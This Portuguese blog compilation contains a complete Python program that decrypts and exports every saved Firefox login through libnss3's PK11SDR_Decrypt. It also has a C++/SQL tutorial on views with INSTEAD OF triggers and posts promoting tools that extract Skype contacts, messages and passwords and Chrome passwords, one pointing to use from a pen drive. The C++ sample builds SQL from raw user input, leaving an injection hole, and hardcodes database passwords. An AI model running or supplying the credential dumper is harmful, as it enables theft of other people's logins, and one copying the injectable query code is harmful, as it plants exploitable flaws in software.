Para Linux utilizamos um arquivo .SO (equivalente a um arquivo .dll para Windows ou um arquivo .dylib para Apple) chamado libnss3.so que é uma biblioteca de segurança (Network Security Service 3) já inclusa em muitas distribuições Linux. Para transportar este código para outra plataforma além do Linux, você pode usar o arquivo C disponível pela Mozilla que você encontra nos links acima ou utilizar a função PK11SDR_Decrypt em algum pacote de biblioteca no sistema operacional de sua preferencia.

Apple: Dynamic Library
Linux: Dynamic Library
Windows: Dynamic Library

Projeto Open Source

Você encontra uma versão deste programa atualizada e convertida para um executável do Linux, e também os códigos fontes da ultima versão desta ferramenta no seguinte link:

Projeto hospedado: https://code.google.com/p/da-firefox-password-recovery/

 

Exemplo:

Neste exemplo criamos um simples programa na linguagem de programação Python que captura os sites e exibe as senha armazenadas pelo navegador Mozilla Firefox.

Licença: http://opensource.org/licenses/MIT

Python

#!/usr/bin/env python
# -*- coding: latin-1 -*-
# Versão 1.0 - Betha
# DaFirefoxMain.py

# The MIT License (MIT)
#
# Copyright (c) 2014 - Ricardo Mantovani - Desenvolvimento Aberto
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.

# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
# THE SOFTWARE.

# importa modulos
import wx
import wx.grid
import sqlite3
import os
import getpass
import datetime
import platform
from ctypes import *
import glob
import re
import base64
import socket

# Cria classe generica de uma WX.Grid
# A classe abaixo faz parte da documentação WXPython oficial
# Este trecho de código é util para manipular a grade

class GenericTable(wx.grid.PyGridTableBase):
    def __init__(self, data, rowLabels = None, colLabels = None):
        wx.grid.PyGridTableBase.__init__(self)
        self.data = data
        self.rowLabels = rowLabels
        self.colLabels = colLabels

    def GetNumberRows(self):
        return len(self.data)

    def GetNumberCols(self):
        return len(self.data[0])

    def GetColLabelValue(self, col):
        if self.colLabels:
            return self.colLabels[col]

    def GetRowLabelValue(self, row):
        if self.rowLabels:
            return self.rowLabels[row]

    def IsEmptyCell(self, row, col):
        return False

    def GetValue(self, row, col):
        return self.data[row][col]

    def SetValue(self, row, col, value):
        pass   

 # Classes de estruturas de senha
class SECItem(Structure):
   _fields_ = [('type',c_uint),('data',c_void_p),('len',c_uint)]

class secuPWData(Structure):
   _fields_ = [('source',c_ubyte),('data',c_char_p)]

(SECWouldBlock, SECFailure, SECSuccess) = (-2, -1, 0)
(PW_NONE, PW_FROMFILE, PW_PLAINTEXT, PW_EXTERNAL) = (0, 1 ,2 ,3)

# Inicializa Grade
dados = []
colLabels = ["Site (Action URL)", "Usuario (User)", "Senha (Password)"]
rowLabels = []
for linha in range(1, 150):
    rowLabels.append(str(linha))

# Captura arquivos no contexto do usuario
def contexto_usuario():
   appdata = os.getenv('HOME')
   usersdir = appdata+os.sep+".mozilla"+os.sep+'firefox'
   userdir = os.listdir(usersdir)
   dirs=[]
   for u in userdir:
      if os.path.isdir(usersdir + os.sep + u):
         dirs.append(usersdir + os.sep + u)
   return dirs 

# Captura o banco de dados signons.sqlite requer Firefox 3 ou superior
def lesignonDB(userpath,dbname):
   chave.NSS_Init(userpath)
   # Recupera dados de login
   conn = sqlite3.connect(userpath+os.sep+dbname)
   c = conn.cursor()
   c.execute("SELECT * FROM moz_logins;")
   # Descriptografa dados usando PK11SDR_Decrypt
   for row in c:
      # Retorna nome de usuario aplicando base64
      unome.data  = cast(c_char_p(base64.b64decode(row[6])), c_void_p)
      unome.len   = len(base64.b64decode(row[6]))
      # Retorna senha de usuario aplicando base64
      passwd.data = cast(c_char_p(base64.b64decode(row[7])), c_void_p)
      passwd.len  = len(base64.b64decode(row[7]))
      # Descriptografa usuario  aplicando PK11SDR
      chave.PK11SDR_Decrypt(byref(unome), byref(dectexto), byref(passdados))
      usuario =  string_at(dectexto.data,dectexto.len)
      # Descriptografa senha aplicando PK11SDR
      chave.PK11SDR_Decrypt(byref(passwd), byref(dectexto), byref(passdados))
      senha   = string_at(dectexto.data, dectexto.len)
      captura = [row[1], usuario, senha]
      dados.append(captura)
   # Fecha conexões
   c.close()
   conn.close()
   chave.NSS_Shutdown()

# Repeura logins no contexto do usuario
abrirPass = contexto_usuario()

# Le SO externa
chave = CDLL("libnss3.so")

# Cria instancia da classe
passdados = secuPWData()
passdados.source = PW_NONE
passdados.data=0

# Cria instancia da estrutura de criptografia
unome = SECItem()
passwd = SECItem()
dectexto = SECItem()

# Retorna arquivos para desencriptar dados
for u in abrirPass:
   signonfiles = glob.glob(u + os.sep + "signons*.*")
   for s in signonfiles:
      (filepath,filename) = os.path.split(s)
      filetype = re.findall('\.(.*)',filename)[0]
      if filetype.lower() == "sqlite":
         lesignonDB(filepath, filename)

# Cria classe da grid
class SimpleGrid(wx.grid.Grid):
    def __init__(self, parent):
        wx.grid.Grid.__init__(self, parent, -1, pos=(5, 10), size=(850, 240))
        tableBase = GenericTable(dados, rowLabels, colLabels)
        self.SetTable(tableBase)                   

# Cria formulario
class Formulario(wx.Frame):
    def __init__(self, parent):
        # Cria Formulario
        wx.Frame.__init__(self, parent, -1, "DA - Firefox Password Recovery - Desenvolvimento Aberto - 2014", size=(860, 350))
        panel = wx.Panel(self, wx.ID_ANY)

        # Centraliza tela
        self.Center()

        # Cria Menu
        menu = wx.Menu()
        menu.Append(5000, "S&alvar", "Exportar para texto")
        menu.Append(5001, "Sai&r", "Fechar o programa")

        menu1 = wx.Menu()
        menu1.Append(6001, "&Sobre", "Sobre este programa")

        # Cria Barra de menus
        menubarra = wx.MenuBar()
        menubarra.Append(menu, "&Arquivo")
        menubarra.Append(menu1, "&Sobre")
        self.SetMenuBar(menubarra)

        # Barra de status
        statusbar = self.CreateStatusBar(5)

        # Retorna data
        dataA = datetime.datetime.today()
        dataA = dataA.strftime('%d-%b-%Y')

        # Preenche barra de status
        self.SetStatusText("", 0)
        self.SetStatusText(socket.gethostname(), 1)
        self.SetStatusText(getpass.getuser(), 2)
        self.SetStatusText(dataA, 3)
        self.SetStatusText(self.plataforma(), 4)

        # Declara Eventos dos menus
        self.Bind(wx.EVT_MENU, self.OnSalvar, id=5000)
        self.Bind(wx.EVT_MENU, self.OnSair, id=5001)
        self.Bind(wx.EVT_MENU, self.OnSobre, id=6001)

        # Cria botões
        botao1 =   wx.Button(panel, label="Exportar TXT (Export)", pos=(580,280))
        botao1.Bind(wx.EVT_BUTTON, self.OnSalvar)

        botao2 =   wx.Button(panel, label="Fechar (Close)", pos=(740,280))
        botao2.Bind(wx.EVT_BUTTON, self.OnSair)

        botao3 =   wx.Button(panel, label="Sobre (About)", pos=(20,280))
        botao3.Bind(wx.EVT_BUTTON, self.OnSobre)

        # Cria Grid de dados
        grid = SimpleGrid(panel)
        grid.SetColSize(0, 370)
        grid.SetColSize(1, 260)
        grid.SetColSize(2, 138)

    def plataforma(self):
        sistema = "OS: " + platform.system() + \
                  " - " + platform.release() + \
                  " - " + platform.version()
        return sistema

    # Cria evento para Salvar Arquivo.
    def OnSalvar(self, evt):
        saveFileDialog = wx.FileDialog(self, "Salvar Como", "", "",
                                       "Arquivos Texto (*.txt)|*.txt",
                                       wx.FD_SAVE | wx.FD_OVERWRITE_PROMPT)

        if saveFileDialog.ShowModal() == wx.ID_CANCEL: return

        # Cria arquivo e adiciona conteudo
        arquivo = saveFileDialog.GetPath()

        file = open(arquivo, "w")

        conteudo = "DA -Firefox Password Recovery - Powered by Desenvolvimento Aberto 2014\n\n" + \
                   "Sistema Operacional: " + self.plataforma() + "\n" + \
                   "Estação: " + socket.gethostname() + "\n" + \
                   "Usuario: " + getpass.getuser() + "\n" + \
                   "Data Extração: " + datetime.datetime.today().strftime('%d-%b-%Y') + "\n\n" + \
                   "Registros encontrados: \n\n"

        for reg in dados:
            conteudo = conteudo + str(reg) + "\n"
        file.write(str(conteudo))
        file.close()
        saveFileDialog.Destroy()

    # Cria evento de saida
    def OnSair(self, evt):
        self.Close(True)

    # Cria evento sobre
    def OnSobre(self, evt):
        # Cria texto para ferramenta
        texto = "Powered by Desenvolvimento Aberto\n\n" + \
                "Autor: Ricardo Mantovani\n" + \
                "E-Mail: desenvolvimento.aberto@live.com\n" + \
                "Blog: https://desenvolvimentoaberto.wordpress.com"

        # Cria caixa de texto
        msg = wx.MessageBox(texto, 'Info', wx.OK | wx.ICON_INFORMATION)
        msg.ShowModal()

# Inicializa a aplicação
app = wx.App()
frame = Formulario(None)
frame.Show(True)
app.MainLoop()

Uma View ou visão em português, é uma tabela virtual. A View não possui um armazenamento de dados permanente associado a ela, mas é baseada em outra tabela ou tabelas. Existem vários tipos de visões, elas podem variar suas funcionalidades de banco de dados para banco de dados, as Views mais comum são do tipo padrão, particionada ou materializada.

A visão fornece uma forma alternativa de olhar os dados em uma ou mais tabelas. A vista é uma especificação chamada de uma tabela de resultados. Conceitualmente, a criação de um ponto de vista é como o uso de binóculos. Você pode olhar através de binóculos para ver uma paisagem inteira ou olhar para uma imagem específica dentro da paisagem, como uma árvore. Da mesma forma, você pode criar uma visão que combina dados de diferentes tabelas de base ou criar uma visão limitada de uma tabela que omite dados. Na verdade, estes são os motivos mais comuns para usar um ponto de vista. Combinando informações de tabelas de base simplifica a obtenção de dados para o usuário final, e limitar os dados que um usuário pode ver é útil para fins de segurança.

Devido aos vários tipos diferentes de Views e suas respectivas diferenças de funcionalidades entre os bancos de dados Oracle, IBM DB2 e MSSQL é recomendado que você utilize os links oficiais para referencia:

Oracle: Create View
IBM DB2: Create View
Microsoft SQL Server: Create View

View - C++

View – C++

Algo Extremamente Útil Sobre Views

As Views são essenciais para uma boa performance de um sistema que manipula dados, elas são uteis de muitas maneiras diferentes, todos os sistemas de grande porte utilizam tipos de View.

As Views acrescentam performance a aplicação, podem conter constraints e índices, podem criar visões baseadas em formato XML, podem ser utilizadas para fins de segurança, podem ser criadas a partir de tabelas particionadas alocadas em vários servidores diferentes e retornar uma visão única, são fundamentais na criação de complexos relatórios, modelo de dados para exportação e até no manuseio de cadastros.

As Views possuem um recurso muito útil quando unidas ao evento INSTEAD OF de uma Trigger, na verdade este tipo de evento foi desenvolvido especialmente para a utilização em conjunto com uma View (exceto para banco de dados MSSQL que permite o uso em tabelas comuns). A utilização do evento “ao invés de” em uma View permite que o desenvolvedor ganhe a maior performance possível na distribuição de dados baseados em uma única visão para varias tabelas físicas contidas em locais diferentes.

Isto acontece porque, por exemplo, um formulário de cadastramento complexo geralmente é composto de varias tabelas interligadas pelo seu identificador, a combinação ViewTrigger permite que você retorne em uma única pesquisa todo o cadastro utilizando um único acesso. Quando disparado um evento para criar um cadastro novo ou modificar um cadastro existente em cima de uma View, automaticamente uma Trigger “ao invés de inserir” ou “ao invés de alterar” pode distribuir todos os dados alimentados pelo usuário em cada tabela especifica, tendo em seu beneficio, que todo o processo esta sendo efetuado dentro do motor do banco de dados.

Visual Studio

Você encontra um walkthrough de como instalar os bancos de dados, seus drivers e a configuração da IDE Visual Studio na categoria SQL e C++, use a imagem abaixo para referencia de como criar design utilizando, 1 GroupBox, 8 StaticTexts, 7 EditControls e 5 Buttons:

Visual C++ - Design

Visual C++ – Design

Exemplo:

Neste exemplo utilizamos o conceito básico de uma View em conjunto com o evento INSTEAD OF de uma Trigger, no programa abaixo o método de inserção esta completo, fica como exercício criar o método INSTEAD OF UPDATE e INSTEAD OF DELETE.

Você encontra uma visão contendo duas tabelas relacionadas, a tabela Funcionários e Desconto, e a partir de uma trigger utilizamos o evento “ao invés de inserir” para distribuir os dados para suas respectivas tabelas. Na aplicação C++ o campo porcentagem possui cor diferente pois se encontra em outra tabela, você pode utilizar este exemplo básico para criar cadastros mais complexos.

* Para referencia sobre as triggers utilize nosso post C++ com o tópico Triggers.

** Você encontra este mesmo programa utilizando SQL direto na aplicação, clicando aqui.

SQL

Oracle

-- Cria tabela de funcionarios
create table Funcionarios(
  ID_Funcionario  NUMBER(5),
  Nome            VARCHAR2(30),
  Sobrenome       VARCHAR2(70),
  Cargo           VARCHAR2(30),
  Salario         NUMBER(9,2));

-- Cria tabela com a porcentagem de descontos
Create table DESCONTO (
  ID_FUNCIONARIO NUMBER,
  PORCENTAGEM NUMBER(9,2));

-- Cria View (Visão) do Cadastro de funcionarios
Create or Replace View CadFuncionario as
Select
  A.ID_FUNCIONARIO, A.NOME, A.SOBRENOME,
  A.CARGO, A.SALARIO, B.PORCENTAGEM
  from FUNCIONARIOS A, DESCONTO B
Where
  A.ID_FUNCIONARIO = B.ID_FUNCIONARIO;

-- Cria Trigger Ao inves de inserir sobre a View
create or replace TRIGGER CADFUNC_INSERT
   INSTEAD OF INSERT ON CadFuncionario
   FOR EACH ROW 

   BEGIN
    -- Insere dados na tabela de Funcionario
    Insert into FUNCIONARIOS values (
     :new.ID_FUNCIONARIO,
     :new.NOME,
     :new.SOBRENOME,
     :new.CARGO,
     :new.SALARIO);

     -- Insere dados na tabela de Desconto
     Insert into DESCONTO values (
     :new.ID_FUNCIONARIO,
     :new.PORCENTAGEM);  

   END CADFUNC_INSERT;

IBM DB2

-- Desenvolvimento Aberto --
-- Atente-se para o terminador de instruções
-- o IBM DATA STUDIO não consegue utilizar
-- Begin... END com scripts sql
-- Mude o terminador para o caractere @
-- para mudar clique com o botão direito do mouse aqui!!!

-- Cria tabela de funcionarios
create table Funcionarios (
    ID_Funcionario  INTEGER,
    Nome            VARCHAR(30),
    Sobrenome       VARCHAR(70),
    Cargo           VARCHAR(30),
    Salario         NUMERIC(9,2))@

-- Cria tabela com a porcentagem de descontos
Create table DESCONTO (
  ID_FUNCIONARIO INTEGER,
  PORCENTAGEM DECIMAL(9,2))@

-- Cria View (Visão) do Cadastro de funcionarios
Create or Replace View CadFuncionario as
Select
  A.ID_FUNCIONARIO, A.NOME, A.SOBRENOME,
  A.CARGO, A.SALARIO, B.PORCENTAGEM
  from FUNCIONARIOS A, DESCONTO B
Where
  A.ID_FUNCIONARIO = B.ID_FUNCIONARIO@

-- Cria Trigger Ao inves de inserir sobre a View
create or replace TRIGGER CADFUNC_INSERT
   INSTEAD OF INSERT ON CadFuncionario
   REFERENCING NEW AS N
      FOR EACH ROW 

  T1:  BEGIN
    -- Insere dados na tabela de Funcionario
    Insert into FUNCIONARIOS values (
     N.ID_FUNCIONARIO,
     N.NOME,
     N.SOBRENOME,
     N.CARGO,
     N.SALARIO);

     -- Insere dados na tabela de Desconto
     Insert into DESCONTO values (
     N.ID_FUNCIONARIO,
     N.PORCENTAGEM);  

   END T1

MSSQL Server

-- Cria tabela de funcionarios
create table Funcionarios (
   ID_Funcionario  Int,
   Nome            VARCHAR(30),
   Sobrenome       VARCHAR(70),
   Cargo           VARCHAR(30),
   Salario         Decimal(9,2));

-- Cria tabela com a porcentagem de descontos
Create table DESCONTO (
  ID_FUNCIONARIO INT,
  PORCENTAGEM DECIMAL(9,2));

-- Cria View (Visão) do Cadastro de funcionarios
Create View CadFuncionario as
Select
  A.ID_FUNCIONARIO, A.NOME, A.SOBRENOME,
  A.CARGO, A.SALARIO, B.PORCENTAGEM
  from FUNCIONARIOS A, DESCONTO B
Where
  A.ID_FUNCIONARIO = B.ID_FUNCIONARIO;

-- Cria Trigger Ao inves de inserir sobre a View
create Trigger CADFUNC_INSERT
    ON CadFuncionario INSTEAD OF INSERT as

   BEGIN
    -- Insere dados na tabela de Funcionario
    Insert into FUNCIONARIOS
	Select
       ID_FUNCIONARIO,
       NOME,
       SOBRENOME,
       CARGO,
       SALARIO
	from inserted;

     -- Insere dados na tabela de Desconto
     Insert into DESCONTO
	 Select
       ID_FUNCIONARIO,
      PORCENTAGEM
     from inserted

   END;

C++

Classe – Arquivo .h


// CamposcppDlg.h : header file
//

#pragma once

// Inclui classe de banco de dados MFC
#include "afxdb.h"
#include "afxwin.h"

// CCamposcppDlg dialog
class CCamposcppDlg : public CDialogEx
{

public:
	CCamposcppDlg(CWnd* pParent = NULL);	// standard constructor

// Dialog Data
	enum { IDD = IDD_CAMPOSCPP_DIALOG };

	protected:
	virtual void DoDataExchange(CDataExchange* pDX);	// DDX/DDV support

// Implementation
protected:
	HICON m_hIcon;

	// Generated message map functions
	virtual BOOL OnInitDialog();
	afx_msg void OnPaint();
	afx_msg HCURSOR OnQueryDragIcon();
	DECLARE_MESSAGE_MAP()
public:

	// Cria métodos e objetos da classe
	CDatabase db;

	// Esta variavel define o banco de dados
	// oracle = Oracle Database
	// db2 = IBM DB2
	// mssql = MSSQL Server
	CString m_db = L"oracle";

	// Conecta ao banco de dados
	void conectarDB(CString banco);

	// Variaveis Edits
	CEdit m_pesquisa;
	CEdit m_codigo;
	CEdit m_pnome;
	CEdit m_snome;
	CEdit m_cargo;
	CEdit m_salario;
	CEdit m_porcentagem;

	// Variaveis Botões
	CButton m_apagar;
	CButton m_novo;

	// Eventos
	afx_msg void OnShowWindow(BOOL bShow, UINT nStatus);
	afx_msg void OnBnClickedButton1();
	afx_msg void OnBnClickedButton2();
	afx_msg void OnBnClickedButton3();
	afx_msg void OnBnClickedButton4();
	afx_msg void OnBnClickedButton5();
	afx_msg HBRUSH OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor);

};

Classe – Arquivo .cpp


// CamposcppDlg.cpp : implementation file
//

#include "stdafx.h"
#include "Camposcpp.h"
#include "CamposcppDlg.h"
#include "afxdialogex.h"

#ifdef _DEBUG
#define new DEBUG_NEW
#endif

CCamposcppDlg::CCamposcppDlg(CWnd* pParent /*=NULL*/)
	: CDialogEx(CCamposcppDlg::IDD, pParent)
{
	m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
}

void CCamposcppDlg::DoDataExchange(CDataExchange* pDX)
{
	CDialogEx::DoDataExchange(pDX);
	DDX_Control(pDX, IDC_EDIT6, m_pesquisa);
	DDX_Control(pDX, IDC_EDIT1, m_codigo);
	DDX_Control(pDX, IDC_EDIT2, m_pnome);
	DDX_Control(pDX, IDC_EDIT3, m_snome);
	DDX_Control(pDX, IDC_EDIT4, m_cargo);
	DDX_Control(pDX, IDC_EDIT5, m_salario);
	DDX_Control(pDX, IDC_BUTTON5, m_apagar);
	DDX_Control(pDX, IDC_BUTTON2, m_novo);
	DDX_Control(pDX, IDC_EDIT7, m_porcentagem);
}

BEGIN_MESSAGE_MAP(CCamposcppDlg, CDialogEx)
	ON_WM_PAINT()
	ON_WM_QUERYDRAGICON()
	ON_BN_CLICKED(IDC_BUTTON1, &CCamposcppDlg::OnBnClickedButton1)
	ON_BN_CLICKED(IDC_BUTTON2, &CCamposcppDlg::OnBnClickedButton2)

ON_WM_SHOWWINDOW()
ON_BN_CLICKED(IDC_BUTTON3, &CCamposcppDlg::OnBnClickedButton3)
ON_BN_CLICKED(IDC_BUTTON4, &CCamposcppDlg::OnBnClickedButton4)
ON_BN_CLICKED(IDC_BUTTON5, &CCamposcppDlg::OnBnClickedButton5)
ON_WM_CTLCOLOR()
END_MESSAGE_MAP()

BOOL CCamposcppDlg::OnInitDialog()
{
	CDialogEx::OnInitDialog();

	SetIcon(m_hIcon, TRUE);
	SetIcon(m_hIcon, FALSE);
	return TRUE;
}

void CCamposcppDlg::OnPaint()
{
	if (IsIconic())
	{
		CPaintDC dc(this); 

		SendMessage(WM_ICONERASEBKGND, reinterpret_cast<WPARAM>(dc.GetSafeHdc()), 0);

		int cxIcon = GetSystemMetrics(SM_CXICON);
		int cyIcon = GetSystemMetrics(SM_CYICON);
		CRect rect;
		GetClientRect(&rect);
		int x = (rect.Width() - cxIcon + 1) / 2;
		int y = (rect.Height() - cyIcon + 1) / 2;

		dc.DrawIcon(x, y, m_hIcon);
	}
	else
	{
		CDialogEx::OnPaint();
	}
}

HCURSOR CCamposcppDlg::OnQueryDragIcon()
{
	return static_cast<HCURSOR>(m_hIcon);
}

// ************************         Desenvolvimento Aberto
// Nosso código começa aqui

void CCamposcppDlg::conectarDB(CString banco)
{
	// Cria string de conexão
	CString dns, usuario, senha;

	// Define banco de dados
	if (banco == "oracle")
	{
		dns = L"OracleXE";
		usuario = L"daberto";
		senha = L"p@55w0rd";
	}

	if (banco == "db2")
	{
		dns = L"IBMDB2";
		usuario = L"db2admin";
		senha = L"p@55w0rd";
	}

	if (banco == "mssql")
	{
		dns = L"MSSQLSERVER";
		usuario = L"devaberto";
		senha = L"p@55w0rd";
	}

	// Cria string de conexão ODBC
	CString conexao;

	// Cria string de conexão
	conexao = L"DSN=" + dns + L";UID=" + usuario + L";PWD=" + senha;

	// Abre conexão
	db.OpenEx(conexao, 0);
}

void CCamposcppDlg::OnBnClickedButton1()
{
	// Define variaveis
	CString codigo;
	CString m_campo;

	// Referincia objeto statico
	CWnd * p_rotulo;

	// Associa objeto statico
	p_rotulo = GetDlgItem(IDC_Rotulo);
	p_rotulo->SetWindowTextW(L"Database - Cadastro Funcionários - " + m_db);

	// Conecta ao banco de dados
	conectarDB(m_db);

	// Cria um set de dados
	CRecordset  dados(&db);

	// Cria pesquisa
	m_pesquisa.GetWindowTextW(codigo);

	dados.Open(CRecordset::forwardOnly,
		L"Select * From CadFuncionario Where  ID_FUNCIONARIO = " + codigo);

	// Retorna dados por nome de campo e os exibe
	// Oracle e o DB2 transformam os nomes de campos para maiusculo,
	// basta efetuar um select na tabela de cada banco e você verá
	// O MSSQL não faz esta mudança sendo assim você precisa mudar os campos
	// do banco de dados MSSQL para que fique compativel com o ORACLE e DB2 ou
	// encontrará um erro ao tentar utilizar a tabela que criamos anteriormente.

	dados.GetFieldValue(L"ID_FUNCIONARIO", m_campo);
	m_codigo.SetWindowTextW(m_campo);

	dados.GetFieldValue(L"NOME", m_campo);
	m_pnome.SetWindowTextW(m_campo);

	dados.GetFieldValue(L"SOBRENOME", m_campo);
	m_snome.SetWindowTextW(m_campo);

	dados.GetFieldValue(L"CARGO", m_campo);
	m_cargo.SetWindowTextW(m_campo);

	dados.GetFieldValue(L"SALARIO", m_campo);
	m_salario.SetWindowTextW(m_campo);

	dados.GetFieldValue(L"PORCENTAGEM", m_campo);
	m_porcentagem.SetWindowTextW(m_campo);

	// Fecha o set de dados e a conexão
	dados.Close();
	db.Close();

}

void CCamposcppDlg::OnBnClickedButton2()
{
	// Limpa componentes
	m_codigo.SetWindowTextW(NULL);
	m_pnome.SetWindowTextW(NULL);
	m_snome.SetWindowTextW(NULL);
	m_cargo.SetWindowTextW(NULL);
	m_salario.SetWindowTextW(NULL);
	m_porcentagem.SetWindowTextW(NULL);

	// Define foco
	CEdit* pesquisa;
	pesquisa = (CEdit*)GetDlgItem(IDC_EDIT1);
	GotoDlgCtrl(pesquisa);

}

void CCamposcppDlg::OnShowWindow(BOOL bShow, UINT nStatus)
{
	CDialogEx::OnShowWindow(bShow, nStatus);

	// Define foco inicial
	CEdit* pesquisa;
	pesquisa = (CEdit*)GetDlgItem(IDC_EDIT6);
	GotoDlgCtrl(pesquisa);
}

// Cria método de menssagem
int menssagem(bool correto, LPCWSTR texto)
{
	LPCWSTR msg;

	if (correto)
	{
		msg = texto;
	}
	else
	{
		msg = texto;
	}

	// Cria nova caixa de menssagens
	int msgboxID = MessageBox(
		NULL,
		msg,
		(LPCWSTR)L"Conexão",
		MB_ICONWARNING | MB_OK | MB_DEFBUTTON2
		);

	switch (msgboxID)
	{
	case IDOK:

		break;
	}

	return msgboxID;
}

// Clique do botão inserir
void CCamposcppDlg::OnBnClickedButton3()
{
	// Define variaveis para componentes
	CString codigo;
	CString pnome;
	CString snome;
	CString cargo;
	CString salario;
	CString porcentagem;

	// conecta ao banco de dados
	conectarDB(m_db);

	// Recupara texto dos componentes
	m_codigo.GetWindowTextW(codigo);
	m_pnome.GetWindowTextW(pnome);
	m_snome.GetWindowTextW(snome);
	m_cargo.GetWindowTextW(cargo);
	m_salario.GetWindowTextW(salario);
	m_porcentagem.GetWindowTextW(porcentagem);

	// Troca ponto decimal para o banco de dados
	int i = salario.Replace(L",", L".");

	// Cria instrução SQL
	CString sql = L"Insert into  CadFuncionario  values ( " +  codigo + ", " +
		"'" + pnome + "', " +
		"'" + snome + "', " +
		"'" + cargo + "', " +
		      salario  + ", " +
		      porcentagem + ")";

	// Executa SQL
	try
	{
		db.ExecuteSQL(sql);
		menssagem(true, L"Dados inseridos com sucesso!");
		db.Close();
	}
	catch (CDBException* pe)
	{
		menssagem(false, L"Erro ao inserir dados.");
		db.Close();
	}	

}

// botão Updata
void CCamposcppDlg::OnBnClickedButton4()
{
	// TODO: Criar Trigger INSTEAD OF UPDATE
}

void CCamposcppDlg::OnBnClickedButton5()
{
	// TODO: Criar Trigger INSTEAD OF DELETE
}

HBRUSH CCamposcppDlg::OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor)
{
	HBRUSH hbr = CDialogEx::OnCtlColor(pDC, pWnd, nCtlColor);

	// Seleciona controle no dialogo e muda sua cor
	if (pWnd->GetDlgCtrlID() == IDC_Porcentagem)
	{
		// RGB - Vermelho
		pDC->SetTextColor(RGB(255, 0, 0));
		pDC->SetBkMode(TRANSPARENT);
	}

	return hbr;
}

O Skype é um software que permite comunicação pela Internet através de conexões de voz sobre IP (VoIP). Foi inicialmente criada pelo dinamarquês Janus Friis e pelo sueco Niklas Zennström quando trabalhavam na firma Kazaa.

O aplicativo Skype tinha 663 milhões de usuários registrados no final de 2010. Ele foi comprado pela Microsoft em 2011 por US $ 8,5 bilhões. Sede da divisão Microsoft Skype é em Luxemburgo, mas a maioria da equipe de desenvolvimento e 44% dos funcionários globais da divisão ainda estão situados em Tallinn e Tartu, Estónia.

O serviço permite que os usuários se comuniquem com os colegas por voz usando um microfone, vídeo usando uma webcam e mensagens instantâneas através da Internet. As chamadas telefónicas podem ser colocadas em recipientes compatíveis com as redes de telefonia tradicionais. As chamadas para outros usuários dentro do serviço Skype são gratuitas, enquanto chamadas para telefones fixos e celulares são cobrados através de um sistema de conta de usuário baseada em débito. O Skype também se tornou popular por suas características adicionais, incluindo a transferência de arquivos e videoconferência.

DA - Skype Grab Contacts/Messages

DA – Skype Grab Contacts/Messages

Skype Contatos e Menssagens

Agora que sabemos o que é o Skype, o quanto você acha que sua lista de contatos do Skype esta protegida? As identidades relacionadas a sua conta? Como facebook e outras? E todas as suas conversas?

Ao contrario do MSN Messenger, que possuía uma melhor segurança quanto aos dados do usuário (quem quiser conferir utilize o projeto MsnpSharp no menu Projetos deste site) e utilizava um recipiente de dados especifico. O Skype permite que no contexto do computador local, um usuário mal intencionado possa recuperar todos os dados do usuário, incluindo sua senha, já que o Skype utiliza um banco de dados fora dos “padrões” da Microsoft, que pertence a comunidade Open Source, chamado SQLite, e pode ser encontrado na maquina local, possibilitando um fácil acesso a todos os dados que podem ser recuperados sem a necessidade de login na conta do Skype, exceto as mensagens de conversação caso o usuário desabilite a opção de salvar historico.

DA –  Skype Grab Contact/Messages

É uma pequena ferramenta que recupera os contatos e as possíveis mensagens armazenadas nas configurações do Skype. Mesmo se o usuário não lembrar do seu login ou sua senha, a ferramenta é capaz de identificar todas as contas que foram utilizadas no contexto do usuário local e exibe uma lista de opções das quais as informações podem ser recuperadas.

Está é uma aplicação Open Source em uma versão de testes (Betha) e seu executável e código fonte podem ser baixados no site do projeto hospedado no Google Code:

https://code.google.com/p/da-skype-grab-contacts-messages/

Aplicação é desenvolvida na linguagem de programação C# e  requer a versão 4.5.1 do Microsoft .NET Framework e o driver ADO .NET da empresa SQLite:

System.Data.SQLite ADO .NET Povider: SQLite ADO .NET

Você pode utilizar esta aplicação de um Pen-drive para capturar e salvar os dados armazenados que residem em cada conta do Skype, se utilizada em um computador local. Você pode participar do projeto e nos ajudar na evolução da ferramenta seguindo as instruções no site do projeto.

O Google Chrome é o navegador mais utilizado na internet atualmente, segundo vários sites nacionais e internacionais especializados no assunto, para confirmar basta digitar no Google, O Chrome é um dos navegadores preferidos pelos quesitos, velocidade e segurança.

Segundo a empresa Google: “O Google Chrome foi projetado para manter você mais protegido e seguro na web com uma proteção integrada contra malware e phishing, atualizações automáticas para garantir que você tenha as últimas atualizações de segurança e muito mais…”.

Isto todos concordamos! Mas uma combinação fatal formada pelo, Google Chrome + Windows + Usuário, pode levar toda esta tecnologia de segurança por agua a baixo. Isto porque se analisarmos o conceito de segurança do sistema operacional Windows no contexto do usuário local, somado ao banco de dados pra lá de manjado que o Google escolheu para guardar suas credenciais criptografadas (SqlLite3), associado a um usuário que prefere comodidade ao ter que digitar sempre sua senha.

Google Chrome

Google Chrome

Está pronto, um perigoso coquetel, e talvez amargo de ser saboreado, pois pode levar você a perder todas as suas credencias dos sites que você mais utiliza como: Gmail, Hotmail, Facebook, Instagram e qualquer outro site no qual você escolher salvar no seu navegador. Não se preocupe se é necessário descriptografar as senhas no contexto do usuário que as criptografou um desenvolvedor mal intencionado pode providenciar isto facilmente.

Como Descriptografar as senhas do Google Chrome

A poderosa linguagem de programação Python permite que você faça coisas mirabolantes de um modo simples no qual antes era possível apenas com complexos códigos em C. Utilize os links abaixo para saber como o programa funciona e conceitos sobre o qual utilizamos para capturar e exibir as senhas do Google Chrome

DA - Google Chrome Password Recovery

DA – Google Chrome Password Recovery
